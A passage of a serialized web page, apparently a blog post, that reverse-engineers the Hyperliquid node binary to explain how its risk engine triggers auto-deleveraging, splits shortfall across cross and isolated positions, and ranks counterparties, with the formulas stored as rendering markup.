8373,158378],{"type":23,"tag":314,"props":158374,"children":158377},{"className":158375,"style":158376},[3258],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":314,"props":158379,"children":158381},{"className":158380},[3264],[158382,158386,158504],{"type":23,"tag":314,"props":158383,"children":158385},{"className":158384},[20954,112817],[],{"type":23,"tag":314,"props":158387,"children":158389},{"className":158388},[112822],[158390],{"type":23,"tag":314,"props":158391,"children":158393},{"className":158392},[3285,20879],[158394,158492],{"type":23,"tag":314,"props":158395,"children":158397},{"className":158396},[3290],[158398,158487],{"type":23,"tag":314,"props":158399,"children":158402},{"className":158400,"style":158401},[3295],"height:1.427em;",[158403,158443,158454],{"type":23,"tag":314,"props":158404,"children":158406},{"style":158405},"top:-2.314em;",[158407,158411],{"type":23,"tag":314,"props":158408,"children":158410},{"className":158409,"style":111470},[3304],[],{"type":23,"tag":314,"props":158412,"children":158414},{"className":158413},[3264],[158415,158420,158424,158429,158433],{"type":23,"tag":314,"props":158416,"children":158418},{"className":158417},[3264],[158419],{"type":28,"value":2378},{"type":23,"tag":314,"props":158421,"children":158423},{"className":158422,"style":3345},[3344],[],{"type":23,"tag":314,"props":158425,"children":158427},{"className":158426},[3350],[158428],{"type":28,"value":110561},{"type":23,"tag":314,"props":158430,"children":158432},{"className":158431,"style":3345},[3344],[],{"type":23,"tag":314,"props":158434,"children":158436},{"className":158435},[3264,28],[158437],{"type":23,"tag":314,"props":158438,"children":158440},{"className":158439},[3264],[158441],{"type":28,"value":158442},"leverage",{"type":23,"tag":314,"props":158444,"children":158445},{"style":112872},[158446,158450],{"type":23,"tag":314,"props":158447,"children":158449},{"className":158448,"style":111470},[3304],[],{"type":23,"tag":314,"props":158451,"children":158453},{"className":158452,"style":112882},[112881],[],{"type":23,"tag":314,"props":158455,"children":158457},{"style":158456},"top:-3.677em;",[158458,158462],{"type":23,"tag":314,"props":158459,"children":158461},{"className":158460,"style":111470},[3304],[],{"type":23,"tag":314,"props":158463,"children":158465},{"className":158464},[3264],[158466,158472,158482],{"type":23,"tag":314,"props":158467,"children":158469},{"className":158468},[3264],[158470],{"type":28,"value":158471},"∣",{"type":23,"tag":314,"props":158473,"children":158475},{"className":158474},[3264,28],[158476],{"type":23,"tag":314,"props":158477,"children":158479},{"className":158478},[3264],[158480],{"type":28,"value":158481},"notional",{"type":23,"tag":314,"props":158483,"children":158485},{"className":158484},[3264],[158486],{"type":28,"value":158471},{"type":23,"tag":314,"props":158488,"children":158490},{"className":158489},[20982],[158491],{"type":28,"value":20985},{"type":23,"tag":314,"props":158493,"children":158495},{"className":158494},[3290],[158496],{"type":23,"tag":314,"props":158497,"children":158500},{"className":158498,"style":158499},[3295],"height:0.8804em;",[158501],{"type":23,"tag":314,"props":158502,"children":158503},{},[],{"type":23,"tag":314,"props":158505,"children":158507},{"className":158506},[20976,112817],[],{"type":23,"tag":61,"props":158509,"children":158511},{"id":158510},"what-if-nobody-wants-to-buy-the-position",[158512],{"type":28,"value":158513},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":158515,"children":158516},{},[158517],{"type":28,"value":158518},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":158520,"children":158521},{},[158522,158524,158529],{"type":28,"value":158523},"When that happens, the exchange is basically left with a ",{"type":23,"tag":186,"props":158525,"children":158526},{},[158527],{"type":28,"value":158528},"hot potato",{"type":28,"value":158530}," to get rid of: what should it even do with the debt?",{"type":23,"tag":54,"props":158532,"children":158534},{"id":158533},"the-risk-engine",[158535],{"type":28,"value":158536},"The Risk Engine",{"type":23,"tag":24,"props":158538,"children":158539},{},[158540],{"type":28,"value":158541},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":61,"props":158543,"children":158545},{"id":158544},"clearing-up-bad-debt",[158546],{"type":28,"value":158547},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":158549,"children":158550},{},[158551,158552,158559],{"type":28,"value":92},{"type":23,"tag":31,"props":158553,"children":158556},{"href":158554,"rel":158555},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[35],[158557],{"type":28,"value":158558},"Hyperliquid docs",{"type":28,"value":158560}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":158562,"children":158563},{},[158564,158566,158577,158579,158585,158587,158593],{"type":28,"value":158565},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":31,"props":158567,"children":158570},{"href":158568,"rel":158569},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[35],[158571],{"type":23,"tag":94,"props":158572,"children":158574},{"className":158573},[],[158575],{"type":28,"value":158576},"Clearinghouse",{"type":28,"value":158578},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":94,"props":158580,"children":158582},{"className":158581},[],[158583],{"type":28,"value":158584},"Exchange",{"type":28,"value":158586}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":94,"props":158588,"children":158590},{"className":158589},[],[158591],{"type":28,"value":158592},"MessagePack",{"type":28,"value":158594}," at runtime.",{"type":23,"tag":24,"props":158596,"children":158597},{},[158598],{"type":28,"value":158599},"This data will come in handy both for us and the agent.",{"type":23,"tag":158601,"props":158602,"children":158604},"file-download",{"path":158603},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":158606,"children":158607},{},[158608,158610,158615],{"type":28,"value":158609},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":94,"props":158611,"children":158613},{"className":158612},[],[158614],{"type":28,"value":158576},{"type":28,"value":158616},". Some renaming later, we can infer something like this:",{"type":23,"tag":158295,"props":158618,"children":158622},{"source":158619,"target":158620,"direction":158621},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":158624,"children":158625},{},[158626,158628,158633,158635,158641],{"type":28,"value":158627},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":94,"props":158629,"children":158631},{"className":158630},[],[158632],{"type":28,"value":158620},{"type":28,"value":158634},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":94,"props":158636,"children":158638},{"className":158637},[],[158639],{"type":28,"value":158640},"exchange_end_block",{"type":28,"value":158642},". So, at the end of each block we run some checks.",{"type":23,"tag":158264,"props":158644,"children":158645},{},[158646],{"type":23,"tag":24,"props":158647,"children":158648},{},[158649],{"type":28,"value":158650},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":158652,"children":158653},{},[158654,158656,158662],{"type":28,"value":158655},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":94,"props":158657,"children":158659},{"className":158658},[],[158660],{"type":28,"value":158661},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":158663}," flag.",{"type":23,"tag":158295,"props":158665,"children":158669},{"addr":158666,"line-start":158667,"line-end":158668},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":158671,"children":158672},{},[158673,158675,158680],{"type":28,"value":158674},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":94,"props":158676,"children":158678},{"className":158677},[],[158679],{"type":28,"value":158576},{"type":28,"value":2409},{"type":23,"tag":837,"props":158682,"children":158684},{"id":158683},"threshold-condition",[158685],{"type":28,"value":158686},"Threshold Condition",{"type":23,"tag":24,"props":158688,"children":158689},{},[158690,158692,158697],{"type":28,"value":158691},"The natural connection between liquidations and ADL is ",{"type":23,"tag":186,"props":158693,"children":158694},{},[158695],{"type":28,"value":158696},"shortfall",{"type":28,"value":158698},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":158700,"children":158701},{},[158702],{"type":28,"value":158703},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":18130,"props":158705,"children":158707},{"id":158706},"who-is-underwater",[158708],{"type":28,"value":158709},"Who Is Underwater?",{"type":23,"tag":24,"props":158711,"children":158712},{},[158713,158715,158720,158722,158728],{"type":28,"value":158714},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":94,"props":158716,"children":158718},{"className":158717},[],[158719],{"type":28,"value":158620},{"type":28,"value":158721},", starting from all user positions, which are stored in ",{"type":23,"tag":94,"props":158723,"children":158725},{"className":158724},[],[158726],{"type":28,"value":158727},"clearinghouse.user_states",{"type":28,"value":158729},", as we can also see from the serialization.",{"type":23,"tag":158264,"props":158731,"children":158732},{},[158733],{"type":23,"tag":24,"props":158734,"children":158735},{},[158736],{"type":28,"value":158737},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":158295,"props":158739,"children":158743},{"source":158740,"target":158640,"direction":158741,"path":158742},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":158745,"children":158746},{},[158747,158748,158753,158755,158761,158763,158769,158771,158777],{"type":28,"value":92},{"type":23,"tag":94,"props":158749,"children":158751},{"className":158750},[],[158752],{"type":28,"value":158740},{"type":28,"value":158754}," essentially turns that into an ",{"type":23,"tag":94,"props":158756,"children":158758},{"className":158757},[],[158759],{"type":28,"value":158760},"Iter",{"type":28,"value":158762},", then, inside of ",{"type":23,"tag":94,"props":158764,"children":158766},{"className":158765},[],[158767],{"type":28,"value":158768},"build_adl_candidate_set",{"type":28,"value":158770}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":94,"props":158772,"children":158774},{"className":158773},[],[158775],{"type":28,"value":158776},"AdlIterEntry",{"type":28,"value":57577},{"type":23,"tag":158295,"props":158779,"children":158781},{"type-name":158780},"AdlIterContext",[],{"type":23,"tag":24,"props":158783,"children":158784},{},[158785,158787,158793,158795,158801,158803,158809,158811,158816],{"type":28,"value":158786},"Note that in storage, ",{"type":23,"tag":94,"props":158788,"children":158790},{"className":158789},[],[158791],{"type":28,"value":158792},"Isolated",{"type":28,"value":158794}," positions have their own independent ",{"type":23,"tag":94,"props":158796,"children":158798},{"className":158797},[],[158799],{"type":28,"value":158800},"Entry",{"type":28,"value":158802}," in the position iterators, and ",{"type":23,"tag":94,"props":158804,"children":158806},{"className":158805},[],[158807],{"type":28,"value":158808},"Cross",{"type":28,"value":158810}," positions have a single common ",{"type":23,"tag":94,"props":158812,"children":158814},{"className":158813},[],[158815],{"type":28,"value":158800},{"type":28,"value":158817},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":158295,"props":158819,"children":158822},{"addr":158820,"line-start":43505,"line-end":158821},"0x555556266b10","163",[],{"type":23,"tag":24,"props":158824,"children":158825},{},[158826],{"type":28,"value":158827},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":158295,"props":158829,"children":158832},{"addr":158666,"line-start":158830,"line-end":158831},"506","527",[],{"type":23,"tag":24,"props":158834,"children":158835},{},[158836,158838],{"type":28,"value":158837},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":158839,"props":158840,"children":158843},"bndb-xref",{"lines":158841,"addrs":158842},"1-2","0x555556ac3e18-0x555556ac3e18",[158844],{"type":28,"value":158845},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":158847,"children":158848},{},[158849,158851,158857,158859,158865,158867,158873,158875,158881],{"type":28,"value":158850},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":94,"props":158852,"children":158854},{"className":158853},[],[158855],{"type":28,"value":158856},"only_isolated",{"type":28,"value":158858}," (or ",{"type":23,"tag":94,"props":158860,"children":158862},{"className":158861},[],[158863],{"type":28,"value":158864},"strict_isolated",{"type":28,"value":158866}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":94,"props":158868,"children":158870},{"className":158869},[],[158871],{"type":28,"value":158872},"deferred_queue",{"type":28,"value":158874},", which triggers ADL regardless of the system's ",{"type":23,"tag":94,"props":158876,"children":158878},{"className":158877},[],[158879],{"type":28,"value":158880},"total_shortfall",{"type":28,"value":158882},". This is dictated by this branch.",{"type":23,"tag":158295,"props":158884,"children":158887},{"addr":158666,"line-start":158885,"line-end":158886},"211","243",[],{"type":23,"tag":24,"props":158889,"children":158890},{},[158891,158893,158900],{"type":28,"value":158892},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":31,"props":158894,"children":158897},{"href":158895,"rel":158896},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[35],[158898],{"type":28,"value":158899},"March 2025 incident",{"type":28,"value":158901},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":18130,"props":158903,"children":158905},{"id":158904},"how-do-we-get-rid-of-debt",[158906],{"type":28,"value":158907},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":158909,"children":158910},{},[158911],{"type":28,"value":158912},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":158914,"children":158915},{},[158916,158918,158923,158925,158930,158932,158937],{"type":28,"value":158917},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":94,"props":158919,"children":158921},{"className":158920},[],[158922],{"type":28,"value":158872},{"type":28,"value":158924}," is overwritten by all the users marked by ",{"type":23,"tag":94,"props":158926,"children":158928},{"className":158927},[],[158929],{"type":28,"value":158768},{"type":28,"value":158931},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":94,"props":158933,"children":158935},{"className":158934},[],[158936],{"type":28,"value":158864},{"type":28,"value":158938}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":158264,"props":158940,"children":158941},{},[158942],{"type":23,"tag":24,"props":158943,"children":158944},{},[158945],{"type":28,"value":158946},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":158295,"props":158948,"children":158951},{"addr":158666,"line-start":158949,"line-end":158950},"523","526",[],{"type":23,"tag":24,"props":158953,"children":158954},{},[158955,158957,158963,158965,158971,158973,158978],{"type":28,"value":158956},"For each underwater position, we do a ",{"type":23,"tag":158839,"props":158958,"children":158960},{"addrs":158959},"0x555556ac42ad-0x555556ac42be",[158961],{"type":28,"value":158962},"B-tree lookup",{"type":28,"value":158964}," on ",{"type":23,"tag":94,"props":158966,"children":158968},{"className":158967},[],[158969],{"type":28,"value":158970},"clearinghouse.user_states[position.user]",{"type":28,"value":158972},", adding them to a ",{"type":23,"tag":94,"props":158974,"children":158976},{"className":158975},[],[158977],{"type":28,"value":16450},{"type":28,"value":158979}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":158295,"props":158981,"children":158984},{"addr":158666,"line-start":158982,"line-end":158983},"635","658",[],{"type":23,"tag":24,"props":158986,"children":158987},{},[158988],{"type":28,"value":158989},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":304,"props":158991,"children":158992},{},[158993],{"type":23,"tag":94,"props":158994,"children":158996},{"className":158995},[3237,158323],[158997],{"type":23,"tag":314,"props":158998,"children":159000},{"className":158999},[158328],[159001],{"type":23,"tag":314,"props":159002,"children":159004},{"className":159003},[3243],[159005],{"type":23,"tag":314,"props":159006,"children":159008},{"className":159007,"ariaHidden":1481},[3248],[159009],{"type":23,"tag":314,"props":159010,"children":159012},{"className":159011},[3253],[159013,159018],{"type":23,"tag":314,"props":159014,"children":159017},{"className":159015,"style":159016},[3258],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":314,"props":159019,"children":159021},{"className":159020},[3264],[159022],{"type":23,"tag":314,"props":159023,"children":159026},{"className":159024},[159025],"mtable",[159027,159107],{"type":23,"tag":314,"props":159028,"children":159031},{"className":159029},[159030],"col-align-r",[159032],{"type":23,"tag":314,"props":159033,"children":159035},{"className":159034},[3285,20879],[159036,159095],{"type":23,"tag":314,"props":159037,"children":159039},{"className":159038},[3290],[159040,159090],{"type":23,"tag":314,"props":159041,"children":159044},{"className":159042,"style":159043},[3295],"height:2.3452em;",[159045,159068],{"type":23,"tag":314,"props":159046,"children":159048},{"style":159047},"top:-4.3452em;",[159049,159054],{"type":23,"tag":314,"props":159050,"children":159053},{"className":159051,"style":159052},[3304],"height:3.3944em;",[],{"type":23,"tag":314,"props":159055,"children":159057},{"className":159056},[3264],[159058],{"type":23,"tag":314,"props":159059,"children":159061},{"className":159060},[3264,28],[159062],{"type":23,"tag":314,"props":159063,"children":159065},{"className":159064},[3264],[159066],{"type":28,"value":159067},"position_weight",{"type":23,"tag":314,"props":159069,"children":159071},{"style":159070},"top:-2.2092em;",[159072,159076],{"type":23,"tag":314,"props":159073,"children":159075},{"className":159074,"style":159052},[3304],[],{"type":23,"tag":314,"props":159077,"children":159079},{"className":159078},[3264],[159080],{"type":23,"tag":314,"props":159081,"children":159083},{"className":159082},[3264,28],[159084],{"type":23,"tag":314,"props":159085,"children":159087},{"className":159086},[3264],[159088],{"type":28,"value":159089},"position_adl_amount",{"type":23,"tag":314,"props":159091,"children":159093},{"className":159092},[20982],[159094],{"type":28,"value":20985},{"type":23,"tag":314,"props":159096,"children":159098},{"className":159097},[3290],[159099],{"type":23,"tag":314,"props":159100,"children":159103},{"className":159101,"style":159102},[3295],"height:1.8452em;",[159104],{"type":23,"tag":314,"props":159105,"children":159106},{},[],{"type":23,"tag":314,"props":159108,"children":159111},{"className":159109},[159110],"col-align-l",[159112],{"type":23,"tag":314,"props":159113,"children":159115},{"className":159114},[3285,20879],[159116,159317],{"type":23,"tag":314,"props":159117,"children":159119},{"className":159118},[3290],[159120,159312],{"type":23,"tag":314,"props":159121,"children":159123},{"className":159122,"style":159043},[3295],[159124,159252],{"type":23,"tag":314,"props":159125,"children":159126},{"style":159047},[159127,159131],{"type":23,"tag":314,"props":159128,"children":159130},{"className":159129,"style":159052},[3304],[],{"type":23,"tag":314,"props":159132,"children":159134},{"className":159133},[3264],[159135,159139,159143,159148,159152],{"type":23,"tag":314,"props":159136,"children":159138},{"className":159137},[3264],[],{"type":23,"tag":314,"props":159140,"children":159142},{"className":159141,"style":3442},[3344],[],{"type":23,"tag":314,"props":159144,"children":159146},{"className":159145},[3447],[159147],{"type":28,"value":1102},{"type":23,"tag":314,"props":159149,"children":159151},{"className":159150,"style":3442},[3344],[],{"type":23,"tag":314,"props":159153,"children":159155},{"className":159154},[3264],[159156,159160,159248],{"type":23,"tag":314,"props":159157,"children":159159},{"className":159158},[20954,112817],[],{"type":23,"tag":314,"props":159161,"children":159163},{"className":159162},[112822],[159164],{"type":23,"tag":314,"props":159165,"children":159167},{"className":159166},[3285,20879],[159168,159236],{"type":23,"tag":314,"props":159169,"children":159171},{"className":159170},[3290],[159172,159231],{"type":23,"tag":314,"props":159173,"children":159176},{"className":159174,"style":159175},[3295],"height:1.3944em;",[159177,159198,159209],{"type":23,"tag":314,"props":159178,"children":159179},{"style":158405},[159180,159184],{"type":23,"tag":314,"props":159181,"children":159183},{"className":159182,"style":111470},[3304],[],{"type":23,"tag":314,"props":159185,"children":159187},{"className":159186},[3264],[159188],{"type":23,"tag":314,"props":159189,"children":159191},{"className":159190},[3264,28],[159192],{"type":23,"tag":314,"props":159193,"children":159195},{"className":159194},[3264],[159196],{"type":28,"value":159197},"total_cross_notional",{"type":23,"tag":314,"props":159199,"children":159200},{"style":112872},[159201,159205],{"type":23,"tag":314,"props":159202,"children":159204},{"className":159203,"style":111470},[3304],[],{"type":23,"tag":314,"props":159206,"children":159208},{"className":159207,"style":112882},[112881],[],{"type":23,"tag":314,"props":159210,"children":159212},{"style":159211},"top:-3.7em;",[159213,159217],{"type":23,"tag":314,"props":159214,"children":159216},{"className":159215,"style":111470},[3304],[],{"type":23,"tag":314,"props":159218,"children":159220},{"className":159219},[3264],[159221],{"type":23,"tag":314,"props":159222,"children":159224},{"className":159223},[3264,28],[159225],{"type":23,"tag":314,"props":159226,"children":159228},{"className":159227},[3264],[159229],{"type":28,"value":159230},"position_notional",{"type":23,"tag":314,"props":159232,"children":159234},{"className":159233},[20982],[159235],{"type":28,"value":20985},{"type":23,"tag":314,"props":159237,"children":159239},{"className":159238},[3290],[159240],{"type":23,"tag":314,"props":159241,"children":159244},{"className":159242,"style":159243},[3295],"height:0.996em;",[159245],{"type":23,"tag":314,"props":159246,"children":159247},{},[],{"type":23,"tag":314,"props":159249,"children":159251},{"className":159250},[20976,112817],[],{"type":23,"tag":314,"props":159253,"children":159254},{"style":159070},[159255,159259],{"type":23,"tag":314,"props":159256,"children":159258},{"className":159257,"style":159052},[3304],[],{"type":23,"tag":314,"props":159260,"children":159262},{"className":159261},[3264],[159263,159267,159271,159276,159280,159290,159294,159299,159303],{"type":23,"tag":314,"props":159264,"children":159266},{"className":159265},[3264],[],{"type":23,"tag":314,"props":159268,"children":159270},{"className":159269,"style":3442},[3344],[],{"type":23,"tag":314,"props":159272,"children":159274},{"className":159273},[3447],[159275],{"type":28,"value":1102},{"type":23,"tag":314,"props":159277,"children":159279},{"className":159278,"style":3442},[3344],[],{"type":23,"tag":314,"props":159281,"children":159283},{"className":159282},[3264,28],[159284],{"type":23,"tag":314,"props":159285,"children":159287},{"className":159286},[3264],[159288],{"type":28,"value":159289},"user_shortfall",{"type":23,"tag":314,"props":159291,"children":159293},{"className":159292,"style":3345},[3344],[],{"type":23,"tag":314,"props":159295,"children":159297},{"className":159296},[3350],[159298],{"type":28,"value":110561},{"type":23,"tag":314,"props":159300,"children":159302},{"className":159301,"style":3345},[3344],[],{"type":23,"tag":314,"props":159304,"children":159306},{"className":159305},[3264,28],[159307],{"type":23,"tag":314,"props":159308,"children":159310},{"className":159309},[3264],[159311],{"type":28,"value":159067},{"type":23,"tag":314,"props":159313,"children":159315},{"className":159314},[20982],[159316],{"type":28,"value":20985},{"type":23,"tag":314,"props":159318,"children":159320},{"className":159319},[3290],[159321],{"type":23,"tag":314,"props":159322,"children":159324},{"className":159323,"style":159102},[3295],[159325],{"type":23,"tag":314,"props":159326,"children":159327},{},[],{"type":23,"tag":24,"props":159329,"children":159330},{},[159331],{"type":28,"value":159332},"We do that here:",{"type":23,"tag":158295,"props":159334,"children":159337},{"addr":158666,"line-start":159335,"line-end":159336},"828","981",[],{"type":23,"tag":24,"props":159339,"children":159340},{},[159341,159342,159348,159350,159356],{"type":28,"value":92},{"type":23,"tag":158839,"props":159343,"children":159345},{"lines":159344},"77-79",[159346],{"type":28,"value":159347},"inner loop",{"type":28,"value":159349}," above spans all ",{"type":23,"tag":94,"props":159351,"children":159353},{"className":159352},[],[159354],{"type":28,"value":159355},"(asset_idx, direction)",{"type":28,"value":159357}," held in the cross margin position.",{"type":23,"tag":24,"props":159359,"children":159360},{},[159361,159363,159369,159371,159377,159378,159384],{"type":28,"value":159362},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":94,"props":159364,"children":159366},{"className":159365},[],[159367],{"type":28,"value":159368},"adl_output",{"type":28,"value":159370}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":94,"props":159372,"children":159374},{"className":159373},[],[159375],{"type":28,"value":159376},"position_id",{"type":28,"value":557},{"type":23,"tag":94,"props":159379,"children":159381},{"className":159380},[],[159382],{"type":28,"value":159383},"position_shortfall",{"type":28,"value":282},{"type":23,"tag":158295,"props":159386,"children":159389},{"addr":158666,"line-start":159387,"line-end":159388},"2377","2469",[],{"type":23,"tag":24,"props":159391,"children":159392},{},[159393,159395,159401],{"type":28,"value":159394},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":94,"props":159396,"children":159398},{"className":159397},[],[159399],{"type":28,"value":159400},"(position_id, cut)",{"type":28,"value":159402},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":159404,"children":159405},{},[159406,159408,159413],{"type":28,"value":159407},"The final phase of ",{"type":23,"tag":94,"props":159409,"children":159411},{"className":159410},[],[159412],{"type":28,"value":158620},{"type":28,"value":159414}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":158295,"props":159416,"children":159419},{"addr":158666,"addr-start":159417,"addr-end":159418},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":159421,"children":159422},{},[159423],{"type":28,"value":159424},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":54,"props":159426,"children":159428},{"id":159427},"who-do-we-deleverage",[159429],{"type":28,"value":159430},"Who Do We Deleverage?",{"type":23,"tag":24,"props":159432,"children":159433},{},[159434],{"type":28,"value":159435},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":159437,"children":159438},{},[159439],{"type":28,"value":159440},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":159442,"children":159443},{},[159444,159446,159453],{"type":28,"value":159445},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":31,"props":159447,"children":159450},{"href":159448,"rel":159449},"https://arxiv.org/abs/2512.01112",[35],[159451],{"type":28,"value":159452},"this paper",{"type":28,"value":159454},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":159456,"children":159457},{},[159458],{"type":28,"value":159459},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":61,"props":159461,"children":159463},{"id":159462},"adl-score-computation",[159464],{"type":28,"value":159465},"ADL Score Computation",{"type":23,"tag":24,"props":159467,"children":159468},{},[159469,159471,159477,159479,159485,159487,159492],{"type":28,"value":159470},"The score function at ",{"type":23,"tag":94,"props":159472,"children":159474},{"className":159473},[],[159475],{"type":28,"value":159476},"compute_adl_ranking_score",{"type":28,"value":159478}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":94,"props":159480,"children":159482},{"className":159481},[],[159483],{"type":28,"value":159484},"Ord",{"type":28,"value":159486}," implementation on some 20-byte address representation. A ",{"type":23,"tag":94,"props":159488,"children":159490},{"className":159489},[],[159491],{"type":28,"value":16450},{"type":28,"value":159493}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":159495,"children":159496},{},[159497,159499,159504,159506,159512,159514,159521,159523,159530],{"type":28,"value":159498},"Those sort routines are ",{"type":23,"tag":186,"props":159500,"children":159501},{},[159502],{"type":28,"value":159503},"generated by the compiler",{"type":28,"value":159505},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":94,"props":159507,"children":159509},{"className":159508},[],[159510],{"type":28,"value":159511},".comment",{"type":28,"value":159513},", we may even manually ",{"type":23,"tag":31,"props":159515,"children":159518},{"href":159516,"rel":159517},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[35],[159519],{"type":28,"value":159520},"take advantage",{"type":28,"value":159522}," of this to recover the ",{"type":23,"tag":31,"props":159524,"children":159527},{"href":159525,"rel":159526},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[35],[159528],{"type":28,"value":159529},"exact source of library functions",{"type":28,"value":282},{"type":23,"tag":24,"props":159532,"children":159533},{},[159534,159536,159541],{"type":28,"value":159535},"Let's see how this ties back into the ",{"type":23,"tag":94,"props":159537,"children":159539},{"className":159538},[],[159540],{"type":28,"value":158620},{"type":28,"value":3746},{"type":23,"tag":158295,"props":159543,"children":159545},{"source":158620,"target":159476,"direction":158621,"path":159544},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":159547,"children":159548},{},[159549],{"type":28,"value":159550},"And here's the main call site used for sorting:",{"type":23,"tag":158295,"props":159552,"children":159555},{"addr":158666,"line-start":159553,"line-end":159554},"2806","2814",[],{"type":23,"tag":61,"props":159557,"children":159559},{"id":159558},"ratio-1-effective-leverage",[159560],{"type":28,"value":159561},"Ratio 1: Effective Leverage",{"type":23,"tag":304,"props":159563,"children":159564},{},[159565],{"type":23,"tag":94,"props":159566,"children":159568},{"className":159567},[3237,158323],[159569],{"type":23,"tag":314,"props":159570,"children":159572},{"className":159571},[158328],[159573],{"type":23,"tag":314,"props":159574,"children":159576},{"className":159575},[3243],[159577],{"type":23,"tag":314,"props":159578,"children":159580},{"className":159579,"ariaHidden":1481},[3248],[159581,159612],{"type":23,"tag":314,"props":159582,"children":159584},{"className":159583},[3253],[159585,159589,159599,159603,159608],{"type":23,"tag":314,"props":159586,"children":159588},{"className":159587,"style":114354},[3258],[],{"type":23,"tag":314,"props":159590,"children":159592},{"className":159591},[3264,28],[159593],{"type":23,"tag":314,"props":159594,"children":159596},{"className":159595},[3264],[159597],{"type":28,"value":159598},"effective 